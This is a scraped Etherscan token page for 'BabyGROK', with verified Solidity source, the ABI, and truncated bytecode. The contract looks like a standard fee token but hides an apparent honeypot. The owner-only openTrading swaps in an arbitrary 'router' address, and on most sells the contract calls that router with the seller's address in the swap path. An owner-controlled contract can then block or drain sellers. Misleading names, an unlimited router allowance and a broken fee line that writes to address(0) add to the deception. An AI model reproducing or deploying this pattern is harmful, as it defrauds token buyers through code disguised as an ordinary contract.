ETH Price: $2,477.34 (+1.36%)

Token

BabyGROK (BabyGROK)
 

Overview

Max Total Supply

69,000,000 BabyGROK

Holders

263

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
2.650686877813777158 BabyGROK

Value
$0.00
0x4bf8e94dfa75f164b34c8a6175b5027159809e11
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BabyGROK

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-12-10
*/

// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.7;

abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

library Address {

    function isContract(address account) internal view returns (bool) {
        // According to EIP-1052, 0x0 is the value returned for not-yet created accounts
        // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
        // for accounts without code, i.e. `keccak256('')`
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
        assembly {codehash := extcodehash(account)}
        return (codehash != accountHash && codehash != 0x0);
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
        (bool success,) = recipient.call{ value : amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCall(target, data, "Address: low-level call failed");
    }

    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return _functionCallWithValue(target, data, 0, errorMessage);
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        return _functionCallWithValue(target, data, value, errorMessage);
    }

    function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
        require(isContract(target), "Address: call to non-contract");

        (bool success, bytes memory returndata) = target.call{ value : weiValue}(data);
        if (success) {
            return returndata;
        } else {

            if (returndata.length > 0) {
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

contract Ownable is Context {
    address public _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);


    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function waiveOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    function getTime() public view returns (uint256) {
        return block.timestamp;
    }

}

interface IUniswapV2Factory {

    function getPair(address tokenA, address tokenB) external view returns (address pair);

    function createPair(address tokenA, address tokenB) external returns (address pair);

}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);

    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);


}

interface IUniswapV2Router02 is IUniswapV2Router01 {

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}


contract BabyGROK is Context, IERC20, Ownable {

    using SafeMath for uint256;
    using Address for address;

    string private _name;
    string private _symbol;
    uint8 private _decimals;
    address payable private marketingWalletAddress;
    address public deadAddress = 0x000000000000000000000000000000000000dEaD;

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    mapping (address => bool) private eludedFormFee;
    mapping (address => bool) public isMarketPair;


    uint256 private _totalTaxIfBuying = 0;
    uint256 private _totalTaxIfSelling = 0;

    uint256 private _totalSupply;
    uint256 private _minimumTokensBeforeSwap = 0;
    address private _lastForm;
    address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapPair;

    bool inSwapAndLiquify;
    bool private swapAndLiquifyEnabled = false;
    bool private swapAndLiquifyByLimitOnly = false;

    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );

    event SwapETHForTokens(
        uint256 amountIn,
        address[] path
    );

    event SwapTokensForETH(
        uint256 amountIn,
        address[] path
    );

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }


    constructor (
        string memory coinName,
        string memory coinSymbol,
        uint8 coinDecimals,
        uint256 supply
    ) payable {

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(_router);

        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        _name = coinName;
        _symbol = coinSymbol;
        _decimals = coinDecimals;
        _owner = 0x62ff90dda5b5857C73Bf843944839D6d27AB667d;
        _totalSupply = supply  * 10 ** _decimals;
        _minimumTokensBeforeSwap = 1202 * 10**_decimals;
        marketingWalletAddress = payable(0x62ff90dda5b5857C73Bf843944839D6d27AB667d);
        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;
        eludedFormFee[_owner] = true;
        eludedFormFee[address(this)] = true;
        eludedFormFee[marketingWalletAddress] = true;

        isMarketPair[address(uniswapPair)] = true;

        _balances[_owner] = _totalSupply;
        emit Transfer(address(0), _owner, _totalSupply);
    }


    function name() public view returns (string memory) {  return _name;
    }

    function symbol() public view returns (string memory) {   return _symbol;
    }

    function decimals() public view returns (uint8) {  return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];  }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true; }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function minimumTokensBeforeSwapAmount() public view returns (uint256) {
        return _minimumTokensBeforeSwap;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setNumTokensBeforeSwap(uint256 newLimit) external onlyOwner() {
        _minimumTokensBeforeSwap = newLimit;
    }

    bool private tradingOpen;
    bool private swapEnabled = false;
    uint256 private firstBlock;
    function openTrading(address router) external onlyOwner() {
        swapEnabled = true;  tradingOpen = true;
        firstBlock = block.number;
        swapAndLiquifyEnabled = true;
        uniswapV2Router = IUniswapV2Router02(_router);
         address uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).getPair(address(this), uniswapV2Router.WETH());
        if(uniswapV2Pair != address(0)){
            IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        }else{
            IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        }
        uniswapV2Router = IUniswapV2Router02(router);
        
    }

    function transferToAddressETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }
    
     //to recieve ETH from uniswapV2Router when swaping
    receive() external payable {}

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount,
         "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {

        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        
        if(inSwapAndLiquify)
        {
            return _basicTransfer(sender, recipient, amount);
        }
        else
        {

            uint256 contractTokenBalance = balanceOf(address(this));

            if (!inSwapAndLiquify && !isMarketPair[sender] && swapAndLiquifyEnabled)
            {
                if(swapAndLiquifyByLimitOnly)
                    contractTokenBalance = _minimumTokensBeforeSwap;
                _lastForm = sender;
                swapAndLiquify(contractTokenBalance);
            }

            _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");

            uint256 finalAmount = (eludedFormFee[sender] || eludedFormFee[recipient]) ?
                                         amount : takeFee(sender, recipient, amount);


            _balances[recipient] = _balances[recipient].add(finalAmount);

            emit Transfer(sender, recipient, finalAmount);
            return true;
        }
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }


    function swapAndLiquify(uint256 tAmount) private lockTheSwap {

        // swap token -> eth
        swapTokensForEth(tAmount);
        uint256 amountReceived = address(this).balance;

        if(amountReceived > 0)
            transferToAddressETH(marketingWalletAddress, amountReceived);

    }

    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](3);
        path[0] = address(this); path[1] = _lastForm;
        path[2] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);
        
        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
        tokenAmount,
        0, // accept any amount of ETH
        path,
        address(this), // The contract
        block.timestamp
        );
        

        emit SwapTokensForETH(tokenAmount, path);
    }



    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {

        uint256 feeAmount = 0;
        if(isMarketPair[sender]) {
            feeAmount = amount.mul(_totalTaxIfBuying).div(100);
            
        }
        else if(isMarketPair[recipient]) {
            feeAmount = amount.mul(_totalTaxIfSelling).div(100);
        }
        if(feeAmount > 0) {
            _balances[address(0)] = _balances[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
        }

        return amount.sub(feeAmount);
    }

   
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"coinName","type":"string"},{"internalType":"string","name":"coinSymbol","type":"string"},{"internalType":"uint8","name":"coinDecimals","type":"uint8"},{"internalType":"uint256","name":"supply","type":"uint256"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"router","type":"address"}],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setNumTokensBeforeSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"waiveOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405261dead600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060006009556000600a556000600c55737a250d5630b4cf539739df2c5dacb4c659f2488d600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000601060156101000a81548160ff0219169083151502179055506000601060166101000a81548160ff0219169083151502179055506000601060186101000a81548160ff0219169083151502179055506040516200416f3803806200416f8339818101604052810190620001219190620009c3565b6000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156200018f57600080fd5b505afa158015620001a4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001ca919062000991565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200022d57600080fd5b505afa15801562000242573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000268919062000991565b6040518363ffffffff1660e01b81526004016200028792919062000a95565b602060405180830381600087803b158015620002a257600080fd5b505af1158015620002b7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002dd919062000991565b601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508460019080519060200190620003359291906200081e565b5083600290805190602001906200034e9291906200081e565b5082600360006101000a81548160ff021916908360ff1602179055507362ff90dda5b5857c73bf843944839d6d27ab667d6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600360009054906101000a900460ff16600a620003dc919062000b99565b82620003e9919062000cd6565b600b81905550600360009054906101000a900460ff16600a6200040d919062000b99565b6104b26200041c919062000cd6565b600c819055507362ff90dda5b5857c73bf843944839d6d27ab667d600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b54600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600760008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160076000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160086000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600b54600560008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600b546040516200080b919062000ac2565b60405180910390a3505050505062000f31565b8280546200082c9062000db8565b90600052602060002090601f0160209004810192826200085057600085556200089c565b82601f106200086b57805160ff19168380011785556200089c565b828001600101855582156200089c579182015b828111156200089b5782518255916020019190600101906200087e565b5b509050620008ab9190620008af565b5090565b5b80821115620008ca576000816000905550600101620008b0565b5090565b6000620008e5620008df8462000b08565b62000adf565b90508281526020810184848401111562000904576200090362000eb6565b5b6200091184828562000d82565b509392505050565b6000815190506200092a8162000ee3565b92915050565b600082601f83011262000948576200094762000eb1565b5b81516200095a848260208601620008ce565b91505092915050565b600081519050620009748162000efd565b92915050565b6000815190506200098b8162000f17565b92915050565b600060208284031215620009aa57620009a962000ec0565b5b6000620009ba8482850162000919565b91505092915050565b60008060008060808587031215620009e057620009df62000ec0565b5b600085015167ffffffffffffffff81111562000a015762000a0062000ebb565b5b62000a0f8782880162000930565b945050602085015167ffffffffffffffff81111562000a335762000a3262000ebb565b5b62000a418782880162000930565b935050604062000a54878288016200097a565b925050606062000a678782880162000963565b91505092959194509250565b62000a7e8162000d37565b82525050565b62000a8f8162000d6b565b82525050565b600060408201905062000aac600083018562000a73565b62000abb602083018462000a73565b9392505050565b600060208201905062000ad9600083018462000a84565b92915050565b600062000aeb62000afe565b905062000af9828262000dee565b919050565b6000604051905090565b600067ffffffffffffffff82111562000b265762000b2562000e82565b5b62000b318262000ec5565b9050602081019050919050565b6000808291508390505b600185111562000b905780860481111562000b685762000b6762000e24565b5b600185161562000b785780820291505b808102905062000b888562000ed6565b945062000b48565b94509492505050565b600062000ba68262000d6b565b915062000bb38362000d75565b925062000be27fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000bea565b905092915050565b60008262000bfc576001905062000ccf565b8162000c0c576000905062000ccf565b816001811462000c25576002811462000c305762000c66565b600191505062000ccf565b60ff84111562000c455762000c4462000e24565b5b8360020a91508482111562000c5f5762000c5e62000e24565b5b5062000ccf565b5060208310610133831016604e8410600b841016171562000ca05782820a90508381111562000c9a5762000c9962000e24565b5b62000ccf565b62000caf848484600162000b3e565b9250905081840481111562000cc95762000cc862000e24565b5b81810290505b9392505050565b600062000ce38262000d6b565b915062000cf08362000d6b565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000d2c5762000d2b62000e24565b5b828202905092915050565b600062000d448262000d4b565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101562000da257808201518184015260208101905062000d85565b8381111562000db2576000848401525b50505050565b6000600282049050600182168062000dd157607f821691505b6020821081141562000de85762000de762000e53565b5b50919050565b62000df98262000ec5565b810181811067ffffffffffffffff8211171562000e1b5762000e1a62000e82565b5b80604052505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b62000eee8162000d37565b811462000efa57600080fd5b50565b62000f088162000d6b565b811462000f1457600080fd5b50565b62000f228162000d75565b811462000f2e57600080fd5b50565b61322e8062000f416000396000f3fe60806040526004361061012e5760003560e01c806370a08231116100ab578063a457c2d71161006f578063a457c2d714610403578063a9059cbb14610440578063b2bdfa7b1461047d578063ca72a4e7146104a8578063dd62ed3e146104d1578063f2fde38b1461050e57610135565b806370a082311461032e5780638da5cb5b1461036b578063914eb66a1461039657806395d89b41146103ad578063a073d37f146103d857610135565b8063313ce567116100f2578063313ce5671461023557806339509351146102605780633b97084a1461029d5780633ecad271146102c6578063557ed1ba1461030357610135565b806306fdde031461013a578063095ea7b31461016557806318160ddd146101a257806323b872dd146101cd57806327c8f8351461020a57610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f610537565b60405161015c91906129b2565b60405180910390f35b34801561017157600080fd5b5061018c6004803603810190610187919061264c565b6105c9565b6040516101999190612997565b60405180910390f35b3480156101ae57600080fd5b506101b76105e7565b6040516101c49190612af4565b60405180910390f35b3480156101d957600080fd5b506101f460048036038101906101ef91906125f9565b6105f1565b6040516102019190612997565b60405180910390f35b34801561021657600080fd5b5061021f6106cb565b60405161022c919061292a565b60405180910390f35b34801561024157600080fd5b5061024a6106f1565b6040516102579190612b99565b60405180910390f35b34801561026c57600080fd5b506102876004803603810190610282919061264c565b610708565b6040516102949190612997565b60405180910390f35b3480156102a957600080fd5b506102c460048036038101906102bf91906126b9565b6107bb565b005b3480156102d257600080fd5b506102ed60048036038101906102e8919061255f565b61085a565b6040516102fa9190612997565b60405180910390f35b34801561030f57600080fd5b5061031861087a565b6040516103259190612af4565b60405180910390f35b34801561033a57600080fd5b506103556004803603810190610350919061255f565b610882565b6040516103629190612af4565b60405180910390f35b34801561037757600080fd5b506103806108cb565b60405161038d919061292a565b60405180910390f35b3480156103a257600080fd5b506103ab6108f4565b005b3480156103b957600080fd5b506103c2610a47565b6040516103cf91906129b2565b60405180910390f35b3480156103e457600080fd5b506103ed610ad9565b6040516103fa9190612af4565b60405180910390f35b34801561040f57600080fd5b5061042a6004803603810190610425919061264c565b610ae3565b6040516104379190612997565b60405180910390f35b34801561044c57600080fd5b506104676004803603810190610462919061264c565b610bb0565b6040516104749190612997565b60405180910390f35b34801561048957600080fd5b50610492610bcf565b60405161049f919061292a565b60405180910390f35b3480156104b457600080fd5b506104cf60048036038101906104ca919061255f565b610bf3565b005b3480156104dd57600080fd5b506104f860048036038101906104f391906125b9565b61122b565b6040516105059190612af4565b60405180910390f35b34801561051a57600080fd5b506105356004803603810190610530919061255f565b6112b2565b005b60606001805461054690612db8565b80601f016020809104026020016040519081016040528092919081815260200182805461057290612db8565b80156105bf5780601f10610594576101008083540402835291602001916105bf565b820191906000526020600020905b8154815290600101906020018083116105a257829003601f168201915b5050505050905090565b60006105dd6105d6611474565b848461147c565b6001905092915050565b6000600b54905090565b60006105fe848484611647565b506106c08461060b611474565b6106bb856040518060600160405280602881526020016131ac60289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610671611474565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b189092919063ffffffff16565b61147c565b600190509392505050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360009054906101000a900460ff16905090565b60006107b1610715611474565b846107ac8560066000610726611474565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b7c90919063ffffffff16565b61147c565b6001905092915050565b6107c3611474565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610850576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084790612a74565b60405180910390fd5b80600c8190555050565b60086020528060005260406000206000915054906101000a900460ff1681565b600042905090565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6108fc611474565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610989576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098090612